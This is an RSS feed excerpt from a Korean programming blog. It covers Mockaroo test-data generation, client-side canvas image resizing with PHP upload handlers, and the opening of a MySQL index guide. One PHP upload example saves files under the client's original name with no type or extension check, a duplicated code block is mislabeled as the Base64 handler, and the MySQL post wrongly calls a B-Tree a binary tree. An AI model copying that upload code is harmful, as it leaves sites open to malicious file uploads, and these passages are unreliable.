&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이름(Name), 이메일(Email), 주소(Address), 전화번호(Phone), 날짜(Date), 사용자 정의 리스트(Custom List) 등 다양한 타입을 선택할 수 있습니다.&lt;/li&gt;
&lt;li&gt;한글 데이터도 일부 지원되지만, 무작위 생성 규칙은 영어 중심이므로 주의가 필요합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3. Row 수 지정하기&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;생성할 데이터 행 수를 원하는 만큼 입력할 수 있습니다. 무료 사용 시 최대 1,000행까지 가능합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4. 데이터 포맷 선택하기&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;CSV, JSON, SQL, Excel, XML 등 다양한 포맷으로 다운로드할 수 있습니다.&lt;/li&gt;
&lt;li&gt;개발 언어나 환경에 맞춰 형식을 선택하면 편리합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;5. 한글 데이터 생성 시 주의&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;한글 데이터는 제한적이므로, Custom List 기능을 활용해 한글 값들을 직접 입력해두면 유용합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;실전 예제: 회원 목록 생성하기&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가상의 &quot;회원 목록&quot; 데이터를 만들고 싶다면 아래처럼 진행할 수 있습니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Name &amp;rarr; Full Name 선택&lt;/li&gt;
&lt;li&gt;Email &amp;rarr; Email Address 선택&lt;/li&gt;
&lt;li&gt;Phone &amp;rarr; Phone 선택&lt;/li&gt;
&lt;li&gt;Address &amp;rarr; Street Address 선택&lt;/li&gt;
&lt;li&gt;Date of Birth &amp;rarr; Date 선택 (날짜 범위 지정 가능)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Mockaroo 화면에는 각 컬럼이 행으로 나열되어 있으며, 오른쪽에는 데이터 타입 드롭다운이 표시됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;데이터 설정을 마친 뒤 &lt;b&gt;&amp;ldquo;Generate Data&amp;rdquo; 버튼을 클릭하면 즉시 파일로 내려받을 수 있습니다.&lt;/b&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Mockaroo API 활용하기&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Mockaroo는 웹 UI 외에도 REST API를 제공합니다. 이를 이용하면 개발 중 자동으로 더미 데이터를 불러올 수 있습니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Node.js로 API 호출 예제&lt;/h3&gt;
&lt;pre class=&quot;javascript&quot;&gt;&lt;code&gt;const axios = require('axios');

async function getMockData() {
  const response = await axios.get('https://api.mockaroo.com/api/YOUR_SCHEMA_KEY?count=10&amp;amp;key=YOUR_API_KEY');
  console.log(response.data);
}

getMockData();&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;YOUR_SCHEMA_KEY&lt;/code&gt;에는 Mockaroo에서 발급받은 스키마 키를 입력합니다.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;YOUR_API_KEY&lt;/code&gt;는 개인 API 키를 입력합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;PHP로 API 호출 예제&lt;/h3&gt;
&lt;pre class=&quot;xml&quot;&gt;&lt;code&gt;&amp;lt;?php
$url = 'https://api.mockaroo.com/api/YOUR_SCHEMA_KEY?count=10&amp;amp;key=YOUR_API_KEY';
$result = file_get_contents($url);
$data = json_decode($result, true);
print_r($data);
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Mockaroo 사용 시 주의할 점&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;무료 계정은 한 번에 최대 1,000행만 생성할 수 있습니다.&lt;/li&gt;
&lt;li&gt;한글 데이터 무작위 생성은 제한적이므로 Custom List를 적극 활용하는 것이 좋습니다.&lt;/li&gt;
&lt;li&gt;실제 개인정보와 비슷한 데이터를 만들더라도, 개인정보 유출 위험이 없도록 주의해야 합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;참고 링크&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Mockaroo 공식 사이트: &lt;a href=&quot;https://www.mockaroo.com&quot;&gt;https://www.mockaroo.com&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Mockaroo는 개발자뿐만 아니라 기획자, QA 담당자 등 &lt;b&gt;모든 IT 실무자&lt;/b&gt;가 손쉽게 사용할 수 있는 강력한 도구입니다. 복잡하고 반복적인 데이터 생성에서 벗어나 실속 있는 테스트를 경험해 보시기 바랍니다.&lt;/p&gt;</description>
      <category>Programing/SQL</category>
      <author>Dongkkase</author>
      <guid isPermaLink="true">https://eyecandyzero.tistory.com/508</guid>
      <comments>https://eyecandyzero.tistory.com/508#entry508comment</comments>
      <pubDate>Mon, 30 Jun 2025 04:41:29 +0900</pubDate>
    </item>
    <item>
      <title>JavaScript canvas로 이미지 리사이즈</title>
      <link>https://eyecandyzero.tistory.com/507</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;ChatGPT Image 2025년 6월 26일 오후 09_56_34.jpg&quot; data-origin-width=&quot;1536&quot; data-origin-height=&quot;1024&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/0UoWw/btsOSd4NZ0q/zLypgMOgauyQ0bfBJ6yekK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/0UoWw/btsOSd4NZ0q/zLypgMOgauyQ0bfBJ6yekK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/0UoWw/btsOSd4NZ0q/zLypgMOgauyQ0bfBJ6yekK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F0UoWw%2FbtsOSd4NZ0q%2FzLypgMOgauyQ0bfBJ6yekK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1536&quot; height=&quot;1024&quot; data-filename=&quot;ChatGPT Image 2025년 6월 26일 오후 09_56_34.jpg&quot; data-origin-width=&quot;1536&quot; data-origin-height=&quot;1024&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;클라이언트에서 최적화, 서버에서 효율적인 저장&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이미지 업로드는 대부분의 웹 서비스에서 빈번하게 발생하는 작업입니다. 특히 모바일 기기와 고해상도 카메라의 보급으로 인해, 사용자들이 업로드하는 이미지의 해상도와 파일 용량은 지속적으로 증가하고 있습니다. 이러한 고용량 이미지들은 서버 부하를 가중시키고, 전송 속도를 저하시켜 사용자 경험을 악화시키는 원인이 될 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 해결하기 위한 방법 중 하나는 클라이언트 측에서 이미지를 사전 리사이즈하는 것입니다. 사용자가 업로드하기 전에 브라우저에서 이미지의 크기와 용량을 줄이면, 다음과 같은 장점이 있습니다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;서버 저장 공간 절약&lt;/li&gt;
&lt;li&gt;네트워크 전송 속도 향상&lt;/li&gt;
&lt;li&gt;업로드 대기 시간 단축&lt;/li&gt;
&lt;li&gt;사용자 불만 감소&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;JavaScript에서 이미지 리사이즈 처리&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;JavaScript에서는 &lt;code&gt;FileReader&lt;/code&gt;와 &lt;code&gt;Canvas API&lt;/code&gt;를 이용해 이미지를 로드하고, 가로&amp;middot;세로 크기를 제한하여 리사이즈할 수 있습니다.&lt;/p&gt;
&lt;pre class=&quot;reasonml&quot;&gt;&lt;code&gt;function resizeImage(file, maxWidth, maxHeight, callback) {
  // FileReader 객체 생성: 파일을 읽어 base64로 변환
  const reader = new FileReader();

  // 파일 읽기 완료 시 호출되는 이벤트 핸들러 설정
  reader.onload = function (event) {
    // 이미지 객체 생성
    const img = new Image();

    // 이미지 로딩 완료 시 처리
    img.onload = function () {
      // 원본 이미지의 너비와 높이 저장
      let width = img.width;
      let height = img.height;

      // 최대 크기에 맞게 비율 계산 (가로 또는 세로 중 더 작은 비율을 기준으로 축소)
      const ratio = Math.min(maxWidth / width, maxHeight / height);

      // 비율을 적용하여 새로운 너비와 높이 계산
      width *= ratio;
      height *= ratio;

      // canvas 요소 생성 및 크기 설정
      const canvas = document.createElement('canvas');
      canvas.width = width;
      canvas.height = height;

      // canvas에 2D 컨텍스트 가져오기
      const ctx = canvas.getContext('2d');

      // canvas에 리사이즈된 이미지 그리기
      ctx.drawImage(img, 0, 0, width, height);

      // canvas의 내용을 JPEG Blob 형태로 추출하여 콜백 함수에 전달
      // 두 번째 인자는 출력 형식, 세 번째 인자는 품질 (0.8은 80% 품질)
      canvas.toBlob((blob) =&amp;gt; callback(blob), 'image/jpeg', 0.8);
    };

    // img.src에 base64 데이터 설정 &amp;rarr; 이미지 로딩 트리거
    img.src = event.target.result;
  };

  // FileReader로 파일을 base64(DataURL)로 읽기 시작
  reader.readAsDataURL(file);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;canvas.toBlob()&lt;/code&gt;은 품질 조절 및 포맷 지정이 가능해 유용합니다.&lt;/li&gt;
&lt;li&gt;원본 비율을 유지하며 최대 크기 내로 축소됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;리사이즈된 이미지 전송 방식&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;리사이즈된 이미지는 &lt;code&gt;FormData&lt;/code&gt;를 통해 Blob 형태로 전송하거나, Base64로 인코딩하여 서버에 전달할 수 있습니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Blob 전송 예제&lt;/h3&gt;
&lt;pre class=&quot;lisp&quot;&gt;&lt;code&gt;resizeImage(file, 800, 800, (blob) =&amp;gt; {
  // FormData 객체 생성: multipart/form-data 형태로 서버에 전송하기 위해 사용
  const formData = new FormData();

  // Blob 객체를 'image'라는 필드명으로 추가 (파일명은 'resized.jpg'로 지정)
  formData.append('image', blob, 'resized.jpg');

  // fetch API를 사용하여 서버에 POST 요청 전송
  fetch('/upload.php', {
    method: 'POST',       // HTTP 메서드 설정
    body: formData        // 전송할 데이터로 FormData 객체 사용
  });

  // 주의: 성공/실패에 대한 처리는 생략되어 있음
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Base64 전송 시 유의사항&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Base64는 원본보다 약 30% 정도 용량이 증가합니다.&lt;/li&gt;
&lt;li&gt;PHP에서는 헤더(&lt;code&gt;data:image/jpeg;base64,...&lt;/code&gt;) 제거 후 디코딩 필요합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;PHP에서 리사이즈 이미지 저장 처리&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Blob 업로드 처리 예제&lt;/h3&gt;
&lt;pre class=&quot;awk&quot;&gt;&lt;code&gt;// 업로드된 'image' 파일이 존재하고, 오류 없이 업로드되었는지 확인
if (isset($_FILES['image']) &amp;amp;&amp;amp; $_FILES['image']['error'] === UPLOAD_ERR_OK) {

  // 임시 업로드 파일 경로 (서버가 임시로 저장한 위치)
  $tmpName = $_FILES['image']['tmp_name'];

  // 클라이언트가 업로드한 원래의 파일 이름 (디렉토리명 제거)
  $originalName = basename($_FILES['image']['name']);

  // 업로드 파일이 저장될 디렉토리 설정 (현재 파일 기준 'uploads' 폴더)
  $uploadDir = __DIR__ . '/uploads/';

  // 업로드 디렉토리가 존재하지 않으면 생성
  if (!is_dir($uploadDir)) mkdir($uploadDir);

  // 저장할 최종 경로 생성: 현재 시간 기반으로 파일명에 prefix 추가
  $targetPath = $uploadDir . time() . '_' . $originalName;

  // 임시 파일을 지정한 경로로 이동 (실제 파일 저장)
  move_uploaded_file($tmpName, $targetPath);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Base64 업로드 처리 예제&lt;/h3&gt;
&lt;pre class=&quot;php&quot;&gt;&lt;code&gt;// 업로드된 파일이 존재하고 오류 없이 업로드되었는지 확인
if (isset($_FILES['image']) &amp;amp;&amp;amp; $_FILES['image']['error'] === UPLOAD_ERR_OK) {

  // 임시 업로드 파일 경로 (서버가 임시로 저장한 파일 위치)
  $tmpName = $_FILES['image']['tmp_name'];

  // 클라이언트가 업로드한 원본 파일 이름에서 디렉토리 경로를 제거
  $originalName = basename($_FILES['image']['name']);

  // 업로드할 최종 디렉토리 경로 설정 (현재 파일 위치 기준 'uploads/' 폴더)
  $uploadDir = __DIR__ . '/uploads/';

  // 업로드 디렉토리가 없으면 생성
  if (!is_dir($uploadDir)) mkdir($uploadDir);

  // 저장할 최종 경로: 파일명 앞에 현재 시간 타임스탬프를 붙여 중복 방지
  $targetPath = $uploadDir . time() . '_' . $originalName;

  // 임시 파일을 최종 경로로 이동 (실제 업로드 처리)
  move_uploaded_file($tmpName, $targetPath);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;보안 고려 사항&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;확장자는 서버에서 검사하거나 강제로 지정합니다.&lt;/li&gt;
&lt;li&gt;업로드된 파일은 &lt;code&gt;imagecreatefromstring()&lt;/code&gt; 등을 통해 유효성 검사를 수행해야 합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;arcade&quot;&gt;&lt;code&gt;$img = imagecreatefromstring(file_get_contents($targetPath));
if (!$img) unlink($targetPath); // 유효하지 않으면 삭제&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;클라이언트 리사이즈 vs 서버 리사이즈&lt;/h2&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;방식&lt;/th&gt;
&lt;th&gt;장점&lt;/th&gt;
&lt;th&gt;단점&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;JavaScript 리사이즈&lt;/td&gt;
&lt;td&gt;빠른 미리보기, 사용자 반응성 향상&lt;/td&gt;
&lt;td&gt;브라우저 지원 제한, 품질 제어 어려움&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PHP 리사이즈&lt;/td&gt;
&lt;td&gt;서버 일관성 확보, 품질 제어 쉬움&lt;/td&gt;
&lt;td&gt;서버 자원 소모 증가&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;권장 선택 기준&lt;/b&gt;:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;미리보기와 UX를 중시하면 JavaScript 리사이즈&lt;/li&gt;
&lt;li&gt;통일된 품질 관리가 필요하면 PHP 리사이즈&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;HTML + JavaScript + PHP 예제 정리&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;HTML&lt;/h3&gt;
&lt;pre class=&quot;xml&quot;&gt;&lt;code&gt;&amp;lt;!-- 미리보기 --&amp;gt;
&amp;lt;div class=&quot;pic_preview&quot;&amp;gt;&amp;lt;img src=&quot;noimage.png&quot;&amp;gt;&amp;lt;/div&amp;gt;

&amp;lt;!-- 파일찾기 --&amp;gt;
&amp;lt;input type=&quot;file&quot; class=&quot;file&quot; accept='image/*'&amp;gt;

&amp;lt;!-- 서버에 전송할 이미지 데이터(base64) --&amp;gt;
&amp;lt;input type='hidden' name='pic' value=''/&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;JavaScript: 리사이즈 및 미리보기 처리&lt;/h3&gt;
&lt;pre class=&quot;javascript&quot;&gt;&lt;code&gt;// 파일 입력 필드 변경 이벤트 감지 (.file 클래스 대상)
$(document).on('change', '.file', function(e) {

    // 선택된 첫 번째 파일 객체 추출
    const file = e.target.files[0];
    if (!file) return; // 파일이 없을 경우 중단

    // FileReader를 사용하여 파일을 읽음
    const reader = new FileReader();

    // 파일 읽기 완료 시 실행되는 콜백
    reader.onload = function(event) {

        // 이미지 객체 생성
        const img = new Image();

        // 이미지가 로딩되었을 때 실행
        img.onload = function() {

            // 최대 너비 설정
            const maxWidth = 200;

            // 가로 기준으로 비율 계산 (세로 자동 조정)
            const scale = maxWidth / img.width;

            // canvas 요소 생성 및 크기 설정
            const canvas = document.createElement('canvas');
            canvas.width = maxWidth;
            canvas.height = img.height * scale;

            // canvas에 2D context 가져오기
            const ctx = canvas.getContext('2d');

            // canvas에 이미지 그리기 (리사이즈된 크기로)
            ctx.drawImage(img, 0, 0, canvas.width, canvas.height);

            // canvas를 JPEG 포맷 base64 데이터로 추출 (품질 90%)
            const dataURL = canvas.toDataURL('image/jpeg', 0.9);

            // 숨겨진 input[name=&quot;pic&quot;]에 base64 데이터 저장
            $('input[name=&quot;pic&quot;]').val(dataURL);

            // 미리보기 이미지 src 속성 변경
            $('.pic_preview img').attr('src', dataURL);
        };

        // 이미지 객체의 src에 base64 데이터를 설정 &amp;rarr; 이미지 로딩 유도
        img.src = event.target.result;
    };

    // 파일을 base64 (data URL) 형식으로 읽기 시작
    reader.readAsDataURL(file);
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;PHP: 파일 저장 처리&lt;/h3&gt;
&lt;pre class=&quot;awk&quot;&gt;&lt;code&gt;$pic = $_POST['pic'];

$UPLOAD_DIR = $_SERVER['DOCUMENT_ROOT'] . '/data/board/';

if ($pic) {
    // base64 헤더 분석: 확장자 추출
    if (preg_match('/^data:image\/(\w+);base64,/', $pic, $matches)) {
        $ext = strtolower($matches[1]);  // jpg, jpeg, png, gif 등

        // 허용 확장자만 필터링
        $allowed = ['jpg', 'jpeg', 'png', 'gif'];
        if (!in_array($ext, $allowed)) {
            exit('허용되지 않는 이미지 형식입니다.');
        }

        // base64 데이터만 추출
        $data = substr($pic, strpos($pic, ',') + 1);
        $data = base64_decode($data);

        if ($data === false) {
            exit('base64 디코딩에 실패했습니다.');
        }

        // 저장 디렉토리가 없다면 생성
        if (!is_dir($UPLOAD_DIR)) {
            mkdir($UPLOAD_DIR, 0755, true);
        }

        // 고유 파일명 생성
        $filename = 'base64_' . time() . '_' . bin2hex(random_bytes(4)) . '.' . $ext;
        $filepath = $UPLOAD_DIR . $filename;

        // 파일 저장
        if (file_put_contents($filepath, $data) === false) {
            exit('파일 저장에 실패했습니다.');
        }

        // 상대 경로 또는 URL 경로로 결과 저장
        $pic = '/data/board/' . $filename;

        // 이후 사용 예:
        // echo json_encode(['status' =&amp;gt; 'success', 'url' =&amp;gt; $pic]);
    } else {
        exit('잘못된 이미지 데이터 형식입니다.');
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;참고 링크&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;FileReader: &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/FileReader&quot;&gt;https://developer.mozilla.org/en-US/docs/Web/API/FileReader&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Canvas API: &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API&quot;&gt;https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;imagecreatefromstring: &lt;a href=&quot;https://www.php.net/manual/en/function.imagecreatefromstring.php&quot;&gt;https://www.php.net/manual/en/function.imagecreatefromstring.php&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;JavaScript와 PHP를 조합한 이 방식은 이미지 용량을 효과적으로 줄이고, 사용자 경험을 향상시키며, 서버 자원도 절약하는 실용적인 업로드 전략이 될 수 있습니다.&lt;/p&gt;</description>
      <category>Programing/javascript</category>
      <author>Dongkkase</author>
      <guid isPermaLink="true">https://eyecandyzero.tistory.com/507</guid>
      <comments>https://eyecandyzero.tistory.com/507#entry507comment</comments>
      <pubDate>Thu, 26 Jun 2025 21:58:48 +0900</pubDate>
    </item>
    <item>
      <title>MySQL 인덱스: B-Tree, Fulltext, Spatial의 차이와 사용법 (MySQL Index Guide: B-Tree, Fulltext, Spatial)</title>
      <link>https://eyecandyzero.tistory.com/506</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;ChatGPT Image 2025년 6월 25일 오전 09_18_34.jpg&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;1024&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cYtJIQ/btsOQyzN8Ug/eRAKUpt3ckckpiqdSFuz80/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cYtJIQ/btsOQyzN8Ug/eRAKUpt3ckckpiqdSFuz80/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cYtJIQ/btsOQyzN8Ug/eRAKUpt3ckckpiqdSFuz80/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcYtJIQ%2FbtsOQyzN8Ug%2FeRAKUpt3ckckpiqdSFuz80%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;400&quot; height=&quot;400&quot; data-filename=&quot;ChatGPT Image 2025년 6월 25일 오전 09_18_34.jpg&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;1024&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MySQL에서 인덱스는 성능 최적화의 핵심 도구입니다. 단순히 쿼리를 빠르게 만드는 것뿐만 아니라, 데이터 구조와 접근 방식에 따라 시스템 전체 성능에 영향을 미치기도 합니다. 본 글에서는 MySQL이 제공하는 세 가지 주요 인덱스 유형인 &quot;B-Tree&quot;, &quot;Fulltext&quot;, &quot;Spatial&quot; 인덱스를 비교하고, 각각의 사용 목적, 구조적 특징, 실무 활용 팁을 정리합니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;ChatGPT Image 2025년 6월 25일 오전 09_32_49.jpg&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;1536&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/PoJPn/btsOPHjZ9vi/nFkeb7rLzDezoB8oGP5kp1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/PoJPn/btsOPHjZ9vi/nFkeb7rLzDezoB8oGP5kp1/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/PoJPn/btsOPHjZ9vi/nFkeb7rLzDezoB8oGP5kp1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPoJPn%2FbtsOPHjZ9vi%2FnFkeb7rLzDezoB8oGP5kp1%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;400&quot; height=&quot;600&quot; data-filename=&quot;ChatGPT Image 2025년 6월 25일 오전 09_32_49.jpg&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;1536&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;B-Tree 인덱스 (MySQL에서 B-Tree 인덱스가 기본인 이유)&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MySQL에서 가장 널리 사용되는 인덱스 유형은 &quot;B-Tree 인덱스&quot;입니다. MyISAM, InnoDB 등 주요 스토리지 엔진에서 기본 인덱스 구조로 채택하고 있으며, 일반적인 &lt;code&gt;PRIMARY KEY&lt;/code&gt;, &lt;code&gt;UNIQUE&lt;/code&gt;, &lt;code&gt;INDEX&lt;/code&gt; 제약 조건은 모두 B-Tree 구조로 생성됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;B-Tree는 &quot;Balanced Tree&quot;의 줄임말로, 데이터의 검색, 정렬, 범위 탐색에서 뛰어난 성능을 발휘합니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;B-Tree 구조란 무엇인가요?&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;B-Tree는 각 노드가 여러 개의 자식 노드를 가질 수 있는 &quot;균형 이진 탐색 트리&quot;입니다. 다음은 일반적인 이진 트리(Binary Tree)와의 비교입니다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Binary Tree는 각 노드가 최대 2개의 자식만 가짐&lt;/li&gt;
&lt;li&gt;B-Tree는 수십~수백 개의 자식을 가질 수 있음&lt;/li&gt;
&lt;li&gt;모든 리프 노드가 동일한 깊이에 존재하여 탐색 시간이 일정함&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 구조 덕분에 대규모 데이터셋에서도 &lt;b&gt;데이터를 빠르게 찾고&lt;/b&gt;, &lt;b&gt;범위 조건을 효율적으로 처리&lt;/b&gt;할 수 있습니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;B-Tree 인덱스의 성능적 이점&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;정렬된 구조 유지&lt;/b&gt;: 인덱스가 자동 정렬되므로, &lt;code&gt;ORDER BY&lt;/code&gt;, &lt;code&gt;GROUP BY&lt;/code&gt;의 성능 향상&lt;/li&gt;
